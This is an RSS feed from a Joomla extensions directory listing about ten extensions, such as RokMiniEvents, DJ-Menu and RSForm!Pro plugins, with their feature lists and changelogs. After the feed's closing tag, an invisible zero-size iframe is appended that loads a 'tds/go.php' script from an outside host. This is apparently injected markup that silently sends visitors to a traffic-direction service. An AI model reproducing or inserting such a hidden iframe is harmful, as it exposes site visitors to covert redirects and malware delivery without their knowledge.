<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Joomla Dragon - Seo - Template - Free &#187; Components</title>
	<atom:link href="http://joomladragon.com/category/components/feed" rel="self" type="application/rss+xml" />
	<link>http://joomladragon.com</link>
	<description>find all your answers about joomla here!</description>
	<lastBuildDate>Sun, 05 Feb 2012 02:51:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>RokMiniEvents</title>
		<link>http://joomladragon.com/rokminievents.html</link>
		<comments>http://joomladragon.com/rokminievents.html#comments</comments>
		<pubDate>Sat, 02 Jul 2011 19:57:26 +0000</pubDate>
		<dc:creator>rhuk</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,2119/Itemid,95/</guid>
		<description><![CDATA[&#9733; RokMiniEvent is a simple and elegant solution for displaying events on your site. The module syncs automatically with either Google Calendar or JomSocial, presenting basic information such as title, date and a description, which link to the ful...]]></description>
			<content:encoded><![CDATA[&#9733; RokMiniEvent is a simple and elegant solution for displaying events on your site. The module syncs automatically with either Google Calendar or JomSocial, presenting basic information such as title, date and a description, which link to the full event.

The module is very intuitive, automatically adjusting itself based on your events and event ranges; simply set the number of events and the time range, and RokMiniEvents will do the rest.

&#9733; Features

- Sources: Choose between Google Calendar, JomSocial, RSEvents, JEvents, EventList
- Time Range: Select events from a variety of periods
- Time Format: Control the type of date displayed
- Event Controls: Manage the number of events
- Layouts: Various layout parameters
- Animation: Transitions, durations, offsets

&#9733; Changelog

J15 ------- 1.5 Release [31-Mar-2011] -------

# Removed reference param for cache call
+ Added RSEvents as source
+ Added JEvents as source
+ Added EventList as source
# Fixed component language load
# Fixed showing/hiding past events
# Fixed errors when no events returned
 
J15 ------- 1.4 Release [23-Feb-2011] -------


J16 ------ 1.4 Release [01-Jun-2011] -------

# Fix for missing Trim Options
 
J16 ------- 1.3 Release [13-Apr-2011] -------

Click the following for the Full & Official Changelog at >http://www.rockettheme.com/extensions-joomla/rokminievents#changelog]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/rokminievents.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RokFeatureTable</title>
		<link>http://joomladragon.com/rokfeaturetable.html</link>
		<comments>http://joomladragon.com/rokfeaturetable.html#comments</comments>
		<pubDate>Sat, 02 Jul 2011 19:57:26 +0000</pubDate>
		<dc:creator>rhuk</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,2120/Itemid,95/</guid>
		<description><![CDATA[&#9733; RokFeatureTable offers a stylistic and user friendly solution for displaying tabular based data. It is perfect for price or product comparisons, or essentially, any type of data display that suits a matrix format.

A simple, yet dynamic, inte...]]></description>
			<content:encoded><![CDATA[&#9733; RokFeatureTable offers a stylistic and user friendly solution for displaying tabular based data. It is perfect for price or product comparisons, or essentially, any type of data display that suits a matrix format.

A simple, yet dynamic, interface provides you with the tools to quickly edit the contents of the module. There are a series of parameters allowing for unlimited row, with options for text, link, class and much more, which allows for extensive control.

&#9733; Features

- Up to 20 Rows: Display extensive amounts of data.
- Extensive data control: Control over text, links, classes and other.
- Highlight Column Control: Set which column is defaulted as the highlight.
- Assign Custom Classes: Per classes control over tabular data.
- Custom CSS styles: Add per item inline styling.
- Template specific layouts: Create a series of layouts.

&#9733; Changelog

J15 ----------- 1.1 Release [13-Sep-2010] -----------
 
07-Sep-2010 Djamil Legato
# Forcing height on settings button to workaround Advanced Module Manager
# Fixed limit of 5 columns instead of 6.
# Fixed + button when rendering a layout of 6 columns
^ Cleaned up default templates
 
J15 ----------- 1.0 Release -----------


J16 ----------- 1.1 Release -----------
# Workaround to fix HTML tags being stripped out
 
J16 ----------- 1.0 Release -----------

Click the following for the Full & Official Changelog at >http://www.rockettheme.com/extensions-joomla/rokfeaturetable#changelog]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/rokfeaturetable.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DJ-Image-Slider</title>
		<link>http://joomladragon.com/dj-image-slider.html</link>
		<comments>http://joomladragon.com/dj-image-slider.html#comments</comments>
		<pubDate>Mon, 14 Mar 2011 18:40:41 +0000</pubDate>
		<dc:creator>andrzejh</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,2030/Itemid,95/</guid>
		<description><![CDATA[The DJ-Image Slider extension allows you to display image slides with title and short description linked to any menu item or url address.

Component features:
create categories for your slides
link it to your menu item or any URL
add the descripti...]]></description>
			<content:encoded><![CDATA[The DJ-Image Slider extension allows you to display image slides with title and short description linked to any menu item or url address.

Component features:
create categories for your slides
link it to your menu item or any URL
add the description that will overlay the image (can be disabled in module's settings)
upload images easily

Module features:
select if module should work with dj-imageslider component or as standalone (images from folder)
select slider's type (horizontal, vertical, fade)
select the category of images to be displayed
choose the options for the module:
- show/hide title
- show/hide description
- show/hide readmore
- enable/disable title link
- enable/disable link description
]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/dj-image-slider.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DJ-Menu</title>
		<link>http://joomladragon.com/dj-menu.html</link>
		<comments>http://joomladragon.com/dj-menu.html#comments</comments>
		<pubDate>Mon, 14 Mar 2011 18:40:41 +0000</pubDate>
		<dc:creator>andrzejh</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,2033/Itemid,95/</guid>
		<description><![CDATA[DJ-Menu is a suckerfish menu with animated mootools effects.

Now, you can easily manage whether the menu is animated or just scriptless css drop-down.]]></description>
			<content:encoded><![CDATA[DJ-Menu is a suckerfish menu with animated mootools effects.

Now, you can easily manage whether the menu is animated or just scriptless css drop-down.]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/dj-menu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DJ-MultiTreeMenu</title>
		<link>http://joomladragon.com/dj-multitreemenu.html</link>
		<comments>http://joomladragon.com/dj-multitreemenu.html#comments</comments>
		<pubDate>Mon, 14 Mar 2011 18:40:41 +0000</pubDate>
		<dc:creator>andrzejh</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,2034/Itemid,95/</guid>
		<description><![CDATA[Dj-MultiTreeMenu is an enhanced drop down menu, which allows you to show subitems segregated in mulitple columns.
What's more - submenu is expandable by using mootools effects, which you can set at modules parameters.
DJ-MultiTreeMenu is also multile...]]></description>
			<content:encoded><![CDATA[Dj-MultiTreeMenu is an enhanced drop down menu, which allows you to show subitems segregated in mulitple columns.
What's more - submenu is expandable by using mootools effects, which you can set at modules parameters.
DJ-MultiTreeMenu is also multilevel! It shows the subitems in a tree style.

 ]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/dj-multitreemenu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DJ Comments &#8211; Product Review Slideshow</title>
		<link>http://joomladragon.com/dj-comments-product-review-slideshow.html</link>
		<comments>http://joomladragon.com/dj-comments-product-review-slideshow.html#comments</comments>
		<pubDate>Mon, 14 Mar 2011 18:40:41 +0000</pubDate>
		<dc:creator>darrenja</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,1986/Itemid,95/</guid>
		<description><![CDATA[This module is a horizontal slide show (we'll be releasing a vertical version very soon) that displays 1 review at a time from your Virtuemart shopping cart.  The slide show was created using JQuery in "No-Conflict" mode so it shouldn't have any issues...]]></description>
			<content:encoded><![CDATA[This module is a horizontal slide show (we'll be releasing a vertical version very soon) that displays 1 review at a time from your Virtuemart shopping cart.  The slide show was created using JQuery in "No-Conflict" mode so it shouldn't have any issues operating with any other Java library.

Most of the CSS you'll need is controllable in the admin area.  The parameters are as follows:

Slide Show Settings:

    * Timeout
    * Speed

Virtuemart Settings

    * Virtumart Category ID
    * No. of Ratings

Module Demention Settings

    * Module Width
    * Module Height
    * Module Top Margin
    * Left Column Width
    * Right Column Width

Module CSS Settings

    * Module Background Color
    * Title Color
    * Title Transformation
    * Title Font Weight
    * Review Font Size
    * Review Font Color]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/dj-comments-product-review-slideshow.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JomSocial Webcam Snapshot</title>
		<link>http://joomladragon.com/jomsocial-webcam-snapshot.html</link>
		<comments>http://joomladragon.com/jomsocial-webcam-snapshot.html#comments</comments>
		<pubDate>Wed, 19 Jan 2011 16:35:13 +0000</pubDate>
		<dc:creator>gotnet</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,1984/Itemid,95/</guid>
		<description><![CDATA[New cool JomSocial Application that will allow your members to Take Snapshot from the webcam and use it as avatar.

Easy and intuitive.]]></description>
			<content:encoded><![CDATA[New cool JomSocial Application that will allow your members to Take Snapshot from the webcam and use it as avatar.

Easy and intuitive.]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/jomsocial-webcam-snapshot.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joodater! Auditor</title>
		<link>http://joomladragon.com/joodater-auditor.html</link>
		<comments>http://joomladragon.com/joodater-auditor.html#comments</comments>
		<pubDate>Wed, 19 Jan 2011 16:35:13 +0000</pubDate>
		<dc:creator>JoodaterJoe</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,1985/Itemid,95/</guid>
		<description><![CDATA[Joomla! Security and Update Scanner - Update-Audit of installed Joomla! extensions and security settings of your website.

- Update audit of Joomla! extensions
- Completely Free, full functional Community Basic Edition
- Integrated signature databa...]]></description>
			<content:encoded><![CDATA[Joomla! Security and Update Scanner - Update-Audit of installed Joomla! extensions and security settings of your website.

- Update audit of Joomla! extensions
- Completely Free, full functional Community Basic Edition
- Integrated signature database update mechanism
- Audit of various Joomla! security settings
- Audit of installed Joomla! core version
- Import/Export feature
- Multi-Client capable
- Reliable algorithm for detection of installed component-, module- and plugin versions.
- Simultaneous auditing/monitoring of up to unlimited websites with one Joodater! installation (only Community Donate and Professional Editions)

With a newly-developed procedure Joodater! examines, if your existing Joomla! extensions are up to date. If an update is necessary, an update-link is shown in the scan results.

You have more than one Website you want to oberserve?
Save time and money by monitore and manage all your projects from a central place. Protect yourself from latest Internet threats and offer your customers the distinct security advantage by using our newest technologies.]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/joodater-auditor.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RSForm!Pro &#8211; ReCaptcha</title>
		<link>http://joomladragon.com/rsformpro-recaptcha.html</link>
		<comments>http://joomladragon.com/rsformpro-recaptcha.html#comments</comments>
		<pubDate>Wed, 19 Jan 2011 16:35:13 +0000</pubDate>
		<dc:creator>rsjoomla</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,1983/Itemid,95/</guid>
		<description><![CDATA[The RSForm!Pro - ReCAPTCHA Plugin is a Joomla! 1.5 plugin that once installed and enabled will add anti-spam functionality to your RSForm!Pro installation. ]]></description>
			<content:encoded><![CDATA[The RSForm!Pro - ReCAPTCHA Plugin is a Joomla! 1.5 plugin that once installed and enabled will add anti-spam functionality to your RSForm!Pro installation. ]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/rsformpro-recaptcha.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RSForm!Pro &#8211; Google Analytics</title>
		<link>http://joomladragon.com/rsformpro-google-analytics.html</link>
		<comments>http://joomladragon.com/rsformpro-google-analytics.html#comments</comments>
		<pubDate>Wed, 19 Jan 2011 16:35:06 +0000</pubDate>
		<dc:creator>rsjoomla</dc:creator>
				<category><![CDATA[Components]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://www.bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,1982/Itemid,95/</guid>
		<description><![CDATA[The RSForm!Pro - Google Analytics Plugin is a Joomla! 1.5 plugin that once installed and enabled will add your google analytics code to your RSForm!Pro installation.

You will be able to set up goals and track how many visitors viewed the form and ho...]]></description>
			<content:encoded><![CDATA[The RSForm!Pro - Google Analytics Plugin is a Joomla! 1.5 plugin that once installed and enabled will add your google analytics code to your RSForm!Pro installation.

You will be able to set up goals and track how many visitors viewed the form and how many actually submitted it.]]></content:encoded>
			<wfw:commentRss>http://joomladragon.com/rsformpro-google-analytics.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
